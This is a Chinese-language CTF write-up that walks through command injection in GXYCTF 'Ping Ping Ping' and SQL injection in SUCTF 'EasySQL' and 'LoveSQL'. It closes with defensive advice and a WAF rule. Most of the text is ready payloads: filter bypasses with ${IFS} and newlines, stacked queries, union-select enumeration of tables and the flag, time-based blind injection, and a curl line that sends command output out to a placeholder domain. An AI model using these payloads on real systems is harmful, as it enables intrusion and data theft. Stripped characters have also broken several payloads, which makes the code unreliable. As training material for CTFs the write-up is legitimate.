CTF Web安全实战:命令注入与SQL注入深度解析 1. 题目背景与核心考察点解析这三道CTF题目分别来自2019年GXYCTF、SUCTF和极客大挑战赛事虽然表面看起来都是Web安全题目但各自考察的技术点有显著差异。我们先从每道题目的基本场景入手1.1 [GXYCTF2019]Ping Ping Ping这道题目的核心是命令注入漏洞。题目提供了一个类似ping功能的服务端接口但考察点远不止简单的命令执行。根据题目名称和热词分析我们需要重点关注Linux管道符的多种使用方式|、||、、等空格和特殊字符的绕过技巧环境变量拼接执行的手法无回显情况下的盲注技术1.2 [SUCTF 2019]EasySQL这道SQL注入题目看似简单实则暗藏玄机。从热词和已有资料来看题目可能涉及非常规的SQL注入姿势堆叠查询(Stacked Queries)的利用后端过滤机制的绕过服务器配置差异导致的注入差异1.3 [极客大挑战 2019]LoveSQL典型的SQL注入题目但考察点更加全面联合查询注入的完整流程信息收集与数据库结构分析盲注与时间盲注的实战应用WAF绕过与特殊字符处理2. [GXYCTF2019]Ping Ping Ping 深度解析2.1 初始测试与信息收集首先我们尝试基本的ping功能?ip127.0.0.1返回正常ping结果说明服务正常运行。尝试命令注入?ip127.0.0.1;ls发现返回被拦截说明存在基础过滤。2.2 过滤机制分析与绕过经过测试发现以下特征空格被过滤 → 使用${IFS}代替分号被过滤 → 使用%0a(换行)或%0d(回车)代替关键词过滤 → 使用变量拼接或编码绕过有效payload示例?ip127.0.0.1%0als或使用变量拼接?ip127.0.0.1;ag;bet;cfla$b$c2.3 无回显情况下的利用当命令执行但无回显时可以采用以下方法DNS外带数据?ip127.0.0.1;curl${IFS}whoami.yourdomain.com延时判断?ip127.0.0.1;sleep${IFS}5写入web目录再访问?ip127.0.0.1;echo${IFS}data${IFS}/var/www/html/tmp.txt2.4 最终flag获取通过逐步探测发现flag位于当前目录?ip127.0.0.1;cat${IFS}fla*成功获取flag。3. [SUCTF 2019]EasySQL 实战突破3.1 基础注入测试尝试常规注入1 or 11--发现返回异常说明存在特殊过滤。3.2 堆叠查询利用测试发现支持堆叠查询1;show databases--成功返回数据库列表确认堆叠查询可用。3.3 非预期解与预期解分析根据题目名称EasySQL可能存在非预期解1;set sql_modePIPES_AS_CONCAT;select 1通过修改SQL模式实现注入。预期解可能需要利用1;handler table open;handler table read first这种不常见的SQL语句。3.4 完整利用链构建最终payload结构1;set sql_modePIPES_AS_CONCAT;select flag from flag通过修改SQL模式使||变为字符串连接符而非逻辑或。4. [极客大挑战 2019]LoveSQL 系统化解题4.1 注入点识别与基础测试测试登录框admin and 11-- admin and 12--确认存在布尔型注入。4.2 联合查询注入完整流程确定列数admin order by 3--获取数据库信息admin union select 1,database(),3--获取表名admin union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()--获取列名admin union select 1,group_concat(column_name),3 from information_schema.columns where table_nameflag--获取数据admin union select 1,flag,3 from flag--4.3 盲注技术应用当联合查询不可用时使用盲注admin and if(ascii(substr(database(),1,1))100,sleep(3),1)--通过响应时间判断条件真假。5. 防御方案与安全建议5.1 命令注入防御使用白名单验证输入import re if not re.match(r^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$, ip): return Invalid IP使用安全API替代系统命令import ping3 ping3.ping(ip)5.2 SQL注入防御使用预编译语句cursor.execute(SELECT * FROM users WHERE username %s, (username,))最小权限原则CREATE USER webuserlocalhost IDENTIFIED BY password; GRANT SELECT ON app_db.* TO webuserlocalhost;5.3 WAF规则配置示例Nginx配置片段location / { set $block_sql_inject 0; if ($query_string ~ union.*select.*\() { set $block_sql_inject 1; } if ($block_sql_inject 1) { return 403; } }6. 拓展思考与技巧总结6.1 命令注入的非常规绕过利用环境变量${PATH:0:1} 代替 /使用大括号扩展{cat,flag.txt}利用引号特性cat flag6.2 SQL注入的进阶技巧利用注释绕过/*!50000select*/ 1使用hex编码0x61646D696E利用位运算1^1 代替 06.3 CTF解题通用思路信息收集永远是第一步先测试最基础的payload观察过滤规律再设计绕过多尝试非常规的语法特性善用报错信息获取线索在实际渗透测试中这些CTF题目的解法虽然不能直接套用但其中的思路和技巧对于理解Web安全原理、培养安全思维非常有帮助。建议在解题后尝试自己搭建类似环境从防御角度思考如何真正保护系统安全。